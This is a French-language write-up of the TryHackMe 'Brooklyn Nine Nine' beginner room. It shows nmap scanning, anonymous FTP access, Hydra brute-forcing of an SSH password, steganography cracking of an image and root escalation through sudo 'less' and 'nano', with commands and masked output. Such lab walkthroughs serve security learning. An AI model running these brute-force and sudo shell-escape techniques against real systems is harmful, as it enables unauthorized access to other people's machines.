writeup — Brooklyn Nine Nine — TryHackMe
Brooklyn Nine Nine
TryHackMe Challenge juillet 2026 Easy
"This room is aimed for beginner level hackers but anyone can try to hack this box. There are two main intended ways to root the box.
---
Find the flag!"
nmap Hydra stegcracker Code source web console
[01] 2 méthodes, pour un même flag
D'après l'énoncé, il existe deux méthodes pour trouver les flags.
Nous allons voir les deux méthodes l'une après l'autre.
[02] Méthode 1 / nmap
Première étape classique : découverte des ports de la machine.
Nous pouvons remarquer que le service ftp accepte les connexions anonymes, c'est sans doute par là que nous allons commencer nos investigations.
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 ftp-anon: Anonymous FTP login allowed (FTP code 230) [...] 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
ras
[03] Méthode 1 / FTP
Nous tentons une connexion en ftp de façon anonyme directement.
root@ip-XX-XX-XXX-XXX:~# ftp IP_ADDRESS Connected to XX-XX-XXX-XXX. 220 (vsFTPd 3.0.3) Name (XX-XX-XXX-XXX:root): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp>
L'accès est bien fonctionnel.
Nous trouvons un fichier, qui est un message d'Amy, demandant à Jake de changer son mot de passe.
Nous ne pouvons pas changer de répertoire, ce qui met fin à cette piste, nous devrons chercher ailleurs pour trouver les flags.
[04] Méthode 1 / Hydra
Nous partons du principe que le compte de Jake aura jake comme identifiant.
Nous pouvons utiliser hydra pour bruteforce son mot de passe, en sachant qu'il est faible, donc facilement craquable.
root@ip-XX-XX-XXX-XXX:~# hydra -l jake -P /usr/share/wordlists/rockyou.txt ssh://IP_MACHINE [DATA] attacking ssh://XX-XX-XXX-XXX:22/ [22][ssh] host: IP_MACHINE login: jake password: 9*******1
le mot de passe de Jake
[05] Méthode 1 / SSH
Grâce au mot de passe, nous pouvons nous connecter en SSH.
ssh jake@XX-XXX-XXX-XXX jake@XX-XXX-XXX-XXX's password: Last login: Tue May 26 08:56:56 2020
Nous pouvons ensuite chercher où est le fichier user.txt, que nous pouvons ensuite lire pour trouver le premier flag.
jake@brookly_nine_nine:~$ find / -type f -name "user.txt" 2>/dev/null /home/holt/user.txt jake@brookly_nine_nine:~$ cat /home/holt/user.txt e******************************e
e******************************e
[06] Root flag
En regardant ce que peut faire le compte de Jake en sudo, nous pouvons voir qu'il peut lancer less avec sudo :
jake@brookly_nine_nine:~$ sudo -l Matching Defaults entries for jake on brookly_nine_nine: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/CODE:sbin\:/bin\:/snap/bin User jake may run the following commands on brookly_nine_nine: (ALL) NOPASSWD: /usr/bin/less
Selon le site https://gtfobins.org/gtfobins/less, il suffit de taper
!/bin/sh
à l'intérieur d'un less pour devenir root.
Nous allons tenter cette approche :
jake@brookly_nine_nine:~$ sudo /usr/bin/less /etc/hosts # whoami root
Nous pouvons facilement lire le fichier du flag.
# cat /root/root.txt -- Creator : Fsociety2006 -- Congratulations in rooting Brooklyn Nine Nine Here is the flag: 6******************************5 Enjoy!!
6******************************5
[07] Méthode 2 / stéganographie
Sur le port 80, nous trouvons une seule image pleine page et des indications pour mieux la visualiser.
Le code source du site nous donne un indice : "connaissez-vous la stéganographie ?".
Nous allons donc essayer d'extraire des informations de l'image présente sur la page d'accueil. Nous utilisons stegcracker pour extraire des informations.
root@ip-XX-XXX-XXX-XXX:~# stegcracker Downloads/brooklyn99.jpg StegCracker has been retired following the release of StegSeek, which will blast through the rockyou.txt wordlist within 1.9 second as opposed to StegCracker which takes ~5 hours. StegSeek can be found at: https://github.com/RickdeJager/stegseek No wordlist was specified, using default rockyou.txt wordlist. Counting lines in wordlist.. Attacking file 'Downloads/brooklyn99.jpg' with wordlist '/usr/share/wordlists/rockyou.txt'.. Successfully cracked file with password: admin Tried 20586 passwords Your file has been written to: Downloads/brooklyn99.jpg.out
Nous pouvons maintenant visualiser le fichier.
root@ip-XX-XXX-XXX-XXX:~# cat Downloads/brooklyn99.jpg.out Holts Password: f******************e Enjoy!!
Nous venons donc de trouver le mot de passe d'un compte sur la machine.
le mot de passe de Holt
[08] Méthode 2 / ssh
Grâce aux informations, nous pouvons nous connecter en SSH à la machine avec le compte du capitaine Holt.
ssh holt@XX-XXX-XXX-XXX holt@XX-XXX-XXX-XXX's password: Last login: Tue May 26 08:59:00 2020
Nous pouvons ensuite lister le dossier /home de Holt. Nous pouvons ensuite lire le fichier user.txt pour trouver le premier flag.
holt@brookly_nine_nine:~$ ls nano.save user.txt holt@brookly_nine_nine:~$ cat user.txt e******************************e
e******************************e
[09] Root flag
De la même manière que pour le compte de Jake, nous pouvons voir que le compte de Holt peut lancer nano avec sudo :
holt@brookly_nine_nine:~$ sudo -l Matching Defaults entries for holt on brookly_nine_nine: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/CODE:sbin\:/bin\:/snap/bin User holt may run the following commands on brookly_nine_nine: (ALL) NOPASSWD: /bin/nano
Nous pouvons tenter de lancer nano en sudo sur le fichier du flag et cela fonctionne, nous obtenons le flag.
holt@brookly_nine_nine:~$ sudo /bin/nano /root/root.txt -- Creator : Fsociety2006 -- Congratulations in rooting Brooklyn Nine Nine Here is the flag: 6******************************5 Enjoy!!
6******************************5
flag validé
flag{6******************************5}